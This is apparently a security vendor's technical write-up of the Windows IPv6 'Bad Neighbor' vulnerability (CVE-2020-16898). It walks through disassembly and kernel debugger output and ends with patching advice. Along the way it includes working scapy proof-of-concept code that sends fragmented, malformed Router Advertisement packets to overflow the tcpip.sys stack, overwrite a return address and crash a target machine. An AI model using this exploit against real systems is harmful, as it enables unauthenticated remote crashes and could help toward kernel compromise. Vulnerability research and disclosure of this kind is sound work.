This blog post analyzes the vulnerability known as "Bad Neighbor" or CVE-2020-16898, a stack-based buffer overflow in the IPv6 stack of Windows, which can be remotely triggered by means of a malformed Router Advertisement packet.

Introduction

On October 13th, 2020, Microsoft published a security patch addressing a remote code execution vulnerability in the IPv6 stack, known as CVE-2020-16898 or "Bad Neighbor". The issue is caused by an improper handling of Router Advertisement messages, which are part of the Neighbor Discovery protocol. In this blog post we analyze how this vulnerability, a stack-based buffer overflow, can be used to overwrite a return address in the kernel with a fully controlled value, ultimately allowing a remote unauthenticated attacker to achieve remote code execution on the kernel of Windows machines. However, this bug probably needs to be chained with an additional memory disclosure vulnerability. Not impossible, but not easy.

Triggering the underlying problem: RDNSS option with an even Length field

Router Advertisement (RA for short) is one of the message types of the Neighbor Discovery (ND) protocol, which is part of the IPv6 protocol stack. Router Advertisement messages are sent by routers to advertise their presence, together with various link and Internet parameters.

RA packets can contain a variable number of Options, such as DNS Search List Option option (DNSSL) or Recursive DNS Server Option (RDNSS).

When a Windows host receives an RA message, the tcpip!Ipv6pHandleRouterAdvertisement function is called to handle it. This function performs a bunch of sanity checks on the received packet, and then it starts parsing the options contained in the RA message.

In particular, RDNSS options are parsed by the tcpip!Ipv6pUpdateRDNSS function. This is the format of the RDNSS option:

0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |     Length    |           Reserved            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           Lifetime                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
:            Addresses of IPv6 Recursive DNS Servers            :
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

The Length field in RA options is expressed in units of 8 octets, meaning that for an option of size 0x18, the Length field will be 0x18 / 8 == 3. The fixed part of a RDNSS option is composed by the Type, Length, Reserved and Lifetime fields, which take exactly 8 bytes, or 1 unit of 8 octets. Then it is followed by a variable number of IPv6 addresses, and each one of them takes 16 bytes, or 2 units of 8 octets. This means that, for any given RDNSS option containing N IPv6 addresses, the Length field should always be odd, since it has the form 2*N + 1.

And this is where the vulnerability is located: if we send a Router Advertisement packet containing an RDNSS option with an even length (1 less than the expected value), as stated by the McAfee blog post, "the Windows TCP/IP stack incorrectly advances the network buffer by an amount that is 8 bytes too few". As a result, the last 8 bytes of the RDNSS option are erroneously interpreted as the first 8 bytes of a second option.

So, what happens if we build and send a malformed RDNSS option with an even Length value? Let's say that we want to build an RDNSS option whose total size is 0x20 bytes, with a Length field of 4. The following Python code uses scapy to build such a malformed option:

def poc_last_8_bytes(target_addr):
    ip = IPv6(dst = target_addr)
    ra = ICMPv6ND_RA()

    rdnss = ICMPv6NDOptRDNSS(lifetime=900, dns=["4141:4141:4141:4141:4141:4141:4141:4141",
            "4242:4242:4242:4242:4242:4242:4242:4242"])
    # We put an even value for the option length (correct length should be 5)
    rdnss.len = len(rdnss.dns) * 2
    # We adjust the actual option size (when 'confused' is appended to it,
    # it must be rdnss.len * 8 bytes == 0x20 bytes long)
    truncated = bytes(rdnss)[: (rdnss.len-1) * 8]
    # The last 8 bytes of the crafted RDNSS option are interpreted as
    # the start of a second option
    confused = 'XXXXYYYY'
    crafted = truncated + confused

    send(ip/ra/crafted)

The function in charge of parsing this option (tcpip!Ipv6pUpdateRDNSS) calculates the number of IPv6 addresses in the option as (option.Length - 1) / 2, whose result in this case is (4 - 1) / 2 == 1.

Ipv6pUpdateRDNSS+99        movzx   eax, byte ptr [rbx+1] ; eax = option.length
Ipv6pUpdateRDNSS+9D        lea     ecx, [rsi+1]
Ipv6pUpdateRDNSS+A0        sub     eax, esi        ; eax = option.length - 1
Ipv6pUpdateRDNSS+A2        or      r15d, 0FFFFFFFFh
Ipv6pUpdateRDNSS+A6        cdq
Ipv6pUpdateRDNSS+A7        idiv    ecx             ; eax = (option.length - 1) / 2
Ipv6pUpdateRDNSS+A9        mov     edx, [rbx+4]
Ipv6pUpdateRDNSS+AC        mov     [rbp+4Fh+number_of_ipv6_addresses], eax

As a consequence, the function will advance the NET_BUFFER (the structure from where it reads bytes from the packet) for 3 units of 8 bytes: 1 8-byte unit for the fixed Type/ Length/Reserved/Lifetime fields, which together occupy 8 bytes, and 2 8-byte units for the single IPv6 address that it assumes is included in the RDNSS option, due to the miscalculation. But our RDNSS option was 0x20 bytes in size (that is, 4 units of 8 bytes), meaning that the Ipv6pUpdateRDNSS function has advanced the NET_BUFFER 8 bytes less than it should.

Let's put a breakpoint at the point in tcpip!Ipv6pHandleRouterAdvertisement where it iterates over the options contained in the Router Advertisement packet :

Ipv6pHandleRouterAdvertisement+96C        mov     r9d, edi        ; AlignMultiple
Ipv6pHandleRouterAdvertisement+96F        mov     [rsp+3A0h+AlignOffset], r15d ; AlignOffset
Ipv6pHandleRouterAdvertisement+974        lea     r8, [rbp+2A0h+var_2F4] ; Storage
Ipv6pHandleRouterAdvertisement+978        mov     edx, eax        ; BytesNeeded
Ipv6pHandleRouterAdvertisement+97A        mov     rcx, r14        ; NetBuffer
Ipv6pHandleRouterAdvertisement+97D        call    cs:__imp_NdisGetDataBuffer
Ipv6pHandleRouterAdvertisement+984        nop     dword ptr [rax+rax+00h]
Ipv6pHandleRouterAdvertisement+989        movzx   ecx, byte ptr [rax+1] ; ecx = option.length

If we send the malformed packet, the first time the breakpoint is hit we can see that it's dealing with our malformed RDNSS option (see the option.Type == 0x19 followed by option.Length == 4 at the buffer pointed by RAX):

Breakpoint 0 hit
rax=ffff920766042650 rbx=0000000000000010 rcx=0000000000000000
rdx=0000000000000000 rsi=ffff9207611d98a0 rdi=0000000000000001
rip=fffff8023e49ef51 rsp=fffff8023ec663c0 rbp=fffff8023ec664c0
 r8=fffff8023ec6646c  r9=0000000000000001 r10=fffff8023e1fe0d0
r11=fffff8023ec66390 r12=0000000000000e10 r13=ffff92075e7a6b80
r14=ffff92075ec57e90 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
tcpip!Ipv6pHandleRouterAdvertisement+0x989:
fffff802`3e49ef51 0fb64801        movzx   ecx,byte ptr [rax+1] ds:002b:ffff9207`66042651=04
0: kd> db @rax
ffff9207`66042650  19 04 00 00 00 00 03 84-41 41 41 41 41 41 41 41  ........AAAAAAAA
ffff9207`66042660  41 41 41 41 41 41 41 41-58 58 58 58 59 59 59 59  AAAAAAAAXXXXYYYY
ffff9207`66042670  6f 61 70 3a 45 6e 76 65-6c 6f 70 65 20 78 6d 6c  oap:Envelope xml

After resuming execution, the breakpoint is hit a second time, and surprisingly it's now dealing with the last 8 bytes of our crafted RDNSS option, as if it was a second option present in the Router Advertisement packet.

0: kd> g
Breakpoint 0 hit
rax=ffff920766042668 rbx=0000000000000030 rcx=0000000000000000
rdx=0000000000000000 rsi=ffff9207611d98a0 rdi=0000000000000001
rip=fffff8023e49ef51 rsp=fffff8023ec663c0 rbp=fffff8023ec664c0
 r8=fffff8023ec6646c  r9=0000000000000001 r10=fffff8023e1fe0d0
r11=ffff920766042620 r12=0000000000000e10 r13=ffff92075e7a6b80
r14=ffff92075ec57e90 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
tcpip!Ipv6pHandleRouterAdvertisement+0x989:
fffff802`3e49ef51 0fb64801        movzx   ecx,byte ptr [rax+1] ds:002b:ffff9207`66042669=58
0: kd> db @rax
ffff9207`66042668  58 58 58 58 59 59 59 59-6f 61 70 3a 45 6e 76 65  XXXXYYYYoap:Enve
ffff9207`66042678  6c 6f 70 65 20 78 6d 6c-6e 73 3a 73 6f 61 70 3d  lope xmlns:soap=

Going for the buffer overflow

The previous section explained how to reproduce the underlying problem, which can be triggered by sending a Router Advertisement packet containing an RDNSS option with an even value in the Length field. Now let's see how to get past this and trigger a stack-based buffer overflow in the tcpip.sys kernel driver.

If we craft the last 8 bytes of our malformed RDNSS option to look like a Route Information Option (whose type is 0x18), the following path is taken:

Ipv6pHandleRouterAdvertisement+97D        call    cs:__imp_NdisGetDataBuffer
Ipv6pHandleRouterAdvertisement+984        nop     dword ptr [rax+rax+00h]
Ipv6pHandleRouterAdvertisement+989        movzx   ecx, byte ptr [rax+1] ; ecx = option.length
Ipv6pHandleRouterAdvertisement+98D        shl     cx, 3           ; cx = option_length * 8
Ipv6pHandleRouterAdvertisement+991        mov     [rsp+3A0h+actual_option_length_2], cx
[...]
Ipv6pHandleRouterAdvertisement+9AC        movzx   ecx, byte ptr [rax] ; ecx = option.type
Ipv6pHandleRouterAdvertisement+9AF        sub     ecx, 3          ; case 3 (ICMPv6NDOptPrefixInfo):
Ipv6pHandleRouterAdvertisement+9B2        jz      short loc_1C004EFD4
Ipv6pHandleRouterAdvertisement+9B4        sub     ecx, 15h        ; case 0x18 (ICMPv6NDOptRouteInfo):
Ipv6pHandleRouterAdvertisement+9B7        jz      loc_1C00FCAA3
[...]
Ipv6pHandleRouterAdvertisement+AE4DB loc_1C00FCAA3:
Ipv6pHandleRouterAdvertisement+AE4DB      xor     eax, eax
Ipv6pHandleRouterAdvertisement+AE4DD      mov     [rsp+3A0h+AlignOffset], r15d ; AlignOffset
Ipv6pHandleRouterAdvertisement+AE4E2      movzx   r15d, [rsp+3A0h+actual_option_length_2]
Ipv6pHandleRouterAdvertisement+AE4E8      lea     r8, [rbp+2A0h+var_E8] ; Storage
Ipv6pHandleRouterAdvertisement+AE4EF      mov     edx, r15d       ; BytesNeeded
Ipv6pHandleRouterAdvertisement+AE4F2      mov     [rbp+2A0h+var_E8], rax
Ipv6pHandleRouterAdvertisement+AE4F9      mov     r9d, edi        ; AlignMultiple
Ipv6pHandleRouterAdvertisement+AE4FC      mov     [rbp+2A0h+var_E0], rax
Ipv6pHandleRouterAdvertisement+AE503      mov     rcx, r14        ; NetBuffer
Ipv6pHandleRouterAdvertisement+AE506      mov     [rbp+2A0h+var_D8], rax
Ipv6pHandleRouterAdvertisement+AE50D      mov     [rbp+2A0h+route_info_prefix_copy], rax
Ipv6pHandleRouterAdvertisement+AE514      mov     [rbp+2A0h+route_info_prefix_copy+8], rax
Ipv6pHandleRouterAdvertisement+AE51B      call    cs:__imp_NdisGetDataBuffer

As we can see, it calls NdisGetDataBuffer to read the actual number of bytes indicated by our option (option.Length * 8) from the NET_BUFFER structure that holds the contents of the packet. Notice that the BytesNeeded parameter is fully controlled by us.

Here comes the interesting part. The documentation of the NdisGetDataBuffer function says the following:

PVOID NdisGetDataBuffer(
  PNET_BUFFER NetBuffer,
  ULONG       BytesNeeded,
  PVOID       Storage,
  UINT        AlignMultiple,
  UINT        AlignOffset
);

Parameters

NetBuffer

[in] A pointer to a NET_BUFFER structure.

BytesNeeded

[in] The number of contiguous bytes of data requested.

Storage

[in, optional] A pointer to a buffer, or NULL if no buffer is provided by the caller.
The buffer must be greater than or equal in size to the number of bytes specified in BytesNeeded.
If this value is non-NULL, and the data requested is not contiguous, NDIS copies the requested
data to the area indicated by Storage.

AlignMultiple

[in] The alignment multiple expressed in power of two. For example, 2, 4, 8, 16, and so forth.
If AlignMultiple is 1, then there is no alignment requirement.

AlignOffset

[in] The offset, in bytes, from the alignment multiple.

Return value

NdisGetDataBuffer returns a pointer to the start of the contiguous data or it returns NULL.

If the DataLength member of the NET_BUFFER_DATA structure in the NET_BUFFER structure that
the NetBuffer parameter points to is less than the value in the BytesNeeded parameter, the
return value is NULL.

If the requested data in the buffer is contiguous, the return value is a pointer to a
location that NDIS provides. If the data is not contiguous, NDIS uses the Storage parameter as follows:

* If the Storage parameter is non-NULL, NDIS copies the data to the buffer at Storage.
The return value is the pointer passed to the Storage parameter.

* If the Storage parameter is NULL, the return value is NULL.

So we have two interesting things to highlight about it:

  1. If provided (as is the case in the code above), the Storage buffer must be big enough to hold the number of bytes specified in the BytesNeeded parameter.

  2. If the requested data in the buffer is contiguous, the return value is a pointer to a location that NDIS provides. That is not interesting for us. However, if the data is not contiguous, and if the Storage parameter is non-NULL, the function copies the data to the buffer at Storage.

As we can see in the disassembly above, the Storage parameter is the local variable var_E8, located in the stack.

So, if we put all the pieces together, we can see the possibility of a stack-based buffer overflow: there's a call to NdisGetDataBuffer, we have full control over the BytesNeeded parameter, and the destination buffer (the Storage parameter) is a fixed-size buffer located on the stack. However, to trigger the buffer overflow we need to jump over one last hurdle: how can we make our packet data to be stored in the NET_BUFFER in a non-contiguous way, in order to force the NdisGetDataBuffer function to write the data to the Storage parameter, instead of returning a pointer to a brand new buffer?

As you are probably guessing right now, the answer is fragmentation. If we send the Router Advertisement packet with the malformed RDNSS option split into several IPv6 fragments, the reassembled packet data is stored in a non-contiguous way in a NET_BUFFER. This way, the call to NdisGetDataBuffer will copy an arbitrary number of bytes from our packet to a fixed-size buffer in the stack, resulting in a stack-based buffer overflow, allowing us to overwrite the return address of tcpip!Ipv6pHandleRouterAdvertisement with an arbitrary value.

The key here is that including a Route Information option with a big Length is only possible due to the RDNSS even length bug: our crafted Route Information option with a big Length was disguised as being an IPv6 address within the RDNSS option during the early sanity checks performed by the tcpip!Ipv6pHandleRouterAdvertisement function over each option in the packet. If you attempt to send a well-formed Router Advertisement message containing a Route Information option with a big Length, you will be caught by the following early sanity check, which allows a maximum actual size (option.Length * 3) of 0x18 for Route Information options.

Ipv6pHandleRouterAdvertisement+224        call    cs:__imp_NdisGetDataBuffer
Ipv6pHandleRouterAdvertisement+22B        nop     dword ptr [rax+rax+00h]
Ipv6pHandleRouterAdvertisement+230        mov     edx, [r14+18h]
Ipv6pHandleRouterAdvertisement+234        xor     r8d, r8d        ; FreeMdl
Ipv6pHandleRouterAdvertisement+237        movzx   r15d, byte ptr [rax+1]
Ipv6pHandleRouterAdvertisement+23C        shl     r15w, 3         ; actual size = option.Length * 8
[...]
Ipv6pHandleRouterAdvertisement+AE02C      sub     ecx, 13h        ; case 0x18 (ICMPv6NDOptRouteInfo):
Ipv6pHandleRouterAdvertisement+AE02F      jz      short loc_1C00FC653
[...]
Ipv6pHandleRouterAdvertisement+AE08B loc_1C00FC653:
Ipv6pHandleRouterAdvertisement+AE08B      xor     eax, eax
Ipv6pHandleRouterAdvertisement+AE08D      mov     [rbp+2A0h+var_100], rax
Ipv6pHandleRouterAdvertisement+AE094      mov     [rbp+2A0h+var_F8], rax
Ipv6pHandleRouterAdvertisement+AE09B      mov     [rbp+2A0h+var_F0], rax
Ipv6pHandleRouterAdvertisement+AE0A2      mov     eax, 18h
Ipv6pHandleRouterAdvertisement+AE0A7      cmp     r15w, ax        ; actual size > 0x18?
Ipv6pHandleRouterAdvertisement+AE0AB      ja      short loc_1C00FC6C9 ; if so, bail out

Proof of concept

The following proof-of-concept code triggers the vulnerability, overwriting the return address of tcpip!Ipv6pHandleRouterAdvertisement and triggering a BSOD.

I have set the Length field of the Route Information option here to 0x22, meaning that NdisGetDataBuffer will copy 0x22 * 8 == 0x110 bytes to the stack, which is enough to overwrite the return address on the version of tcpip.sys I'm using for testing.

Notice that after the crafted RDNSS option and the Route Information option that controls the overflow, I'm including some properly formed RDNSS options; the value that overwrites the return address (0x4242424242424242) is taken from those and therefore it's fully controlled.

def trigger(target_addr):
    ip = IPv6(dst = target_addr)
    ra = ICMPv6ND_RA()

    rdnss = ICMPv6NDOptRDNSS(lifetime=900, dns=["3030:3030:3030:3030:3030:3030:3030:3030",
            "3131:3131:3131:3131:3131:3131:3131:3131"])
    # We put an even value for the option length (original length was 5)
    rdnss.len = len(rdnss.dns) * 2
    truncated = bytes(rdnss)[: (rdnss.len-1) * 8]

    # The last 8 bytes of the crafted RDNSS option are interpreted as the start of a second option
    # We build a Route Information Option here
    # https://tools.ietf.org/html/rfc4191#section-2.3
    # Second byte (0x22) is the Length. This controls the size of the buffer overflow
    # (in this case, 0x22 * 8 == 0x110 bytes will be written to the stack buffer)
    routeinfo = '\x18\x22\xfd\x81\x00\x00\x03\x84'

    # the value that overwrites the return address is taken from here
    correct = ICMPv6NDOptRDNSS(lifetime=900, dns=["4141:4141:4141:4141:4141:4141:4141:4141",
            "4242:4242:4242:4242:4242:4242:4242:4242"])

    crafted = truncated +  routeinfo

    FH=IPv6ExtHdrFragment()
    ip.hlim = 255
    packet = ip/FH/ra/crafted/correct/correct/correct/correct/correct/correct/correct/correct/correct


    frags=fragment6(packet, 100)
    print("len of packet: %d | number of frags: %d" % (len(packet), len(frags)))
    packet.show()

    for frag in frags:
        send(frag)

The PoC generates the following bugcheck in my test machine, due to the corruption of the stack cookie:

*** Fatal System Error: 0x00000139
                       (0x0000000000000002,0xFFFFF8023EC65F70,0xFFFFF8023EC65EC8,0x0000000000000000)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=000000000000008a rsi=0000000000000000 rdi=fffff8023b1a1180
rip=fffff8023c26f3a0 rsp=fffff8023ec654a8 rbp=fffff8023ec65610
 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000
r11=fffff8023ec652d0 r12=0000000000000003 r13=0000000000000002
r14=0000000000000000 r15=fffff8023c637400
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040282
nt!DbgBreakPointWithStatus:
fffff802`3c26f3a0 cc              int     3
0: kd> k
 # Child-SP          RetAddr           Call Site
00 fffff802`3ec654a8 fffff802`3c34f622 nt!DbgBreakPointWithStatus
01 fffff802`3ec654b0 fffff802`3c34ed12 nt!KiBugCheckDebugBreak+0x12
02 fffff802`3ec65510 fffff802`3c267617 nt!KeBugCheck2+0x952
03 fffff802`3ec65c10 fffff802`3c2793e9 nt!KeBugCheckEx+0x107
04 fffff802`3ec65c50 fffff802`3c279810 nt!KiBugCheckDispatch+0x69
05 fffff802`3ec65d90 fffff802`3c277ba5 nt!KiFastFailDispatch+0xd0
06 fffff802`3ec65f70 fffff802`3e519055 nt!KiRaiseSecurityCheckFailure+0x325
07 fffff802`3ec66108 fffff802`3e49f6b7 tcpip!_report_gsfailure+0x5
08 fffff802`3ec66110 42424242`42424242 tcpip!Ipv6pHandleRouterAdvertisement+0x10ef
09 fffff802`3ec664c0 84030000`00000519 0x42424242`42424242
0a fffff802`3ec664c8 41414141`41414141 0x84030000`00000519
0b fffff802`3ec664d0 41414141`41414141 0x41414141`41414141
0c fffff802`3ec664d8 00000000`00000000 0x41414141`41414141

Conclusions

The vulnerability known as CVE-2020-16898 or "Bad Neighbor" allows the last 8 bytes of a RDNSS option to be interpreted as the first bytes of a second option. Since these last 8 bytes of the RDNSS option are initially supposed to be part of an IPv6 address, they are not subject to the same sanity checks (e.g. maximum Length value) that are performed over each option, early in the processing of the packet. As a consequence, it is possible to include a Route Information option with a big Length value in these misinterpreted 8 bytes, which ultimately causes a stack-based buffer overflow, in which the attacker controls both the size and the values.

Finally, the use of IPv6 fragmentation is necessary in order to force the NdisGetDataBuffer to write data to the target stack buffer; otherwise, the data is written to a new, properly-sized buffer, and no overflow happens.

This is some scary vulnerability, given that it can be triggered from remote without authentication, and it allows the remote attacker to overwrite a return address in the kernel with a fully controlled value. However, in order to achieve remote code execution, the attacker would need to bypass the stack cookie protection, and would also need to have knowledge of the memory layout of the kernel of the target machine, so this bug probably needs to be chained with an additional memory disclosure vulnerability.

So don't waste any time and patch quickly, or at the very least follow the workaround provided by Microsoft and disable RDNSS.


If you would like to learn more about our security audits and explore how we can help you, get in touch with us!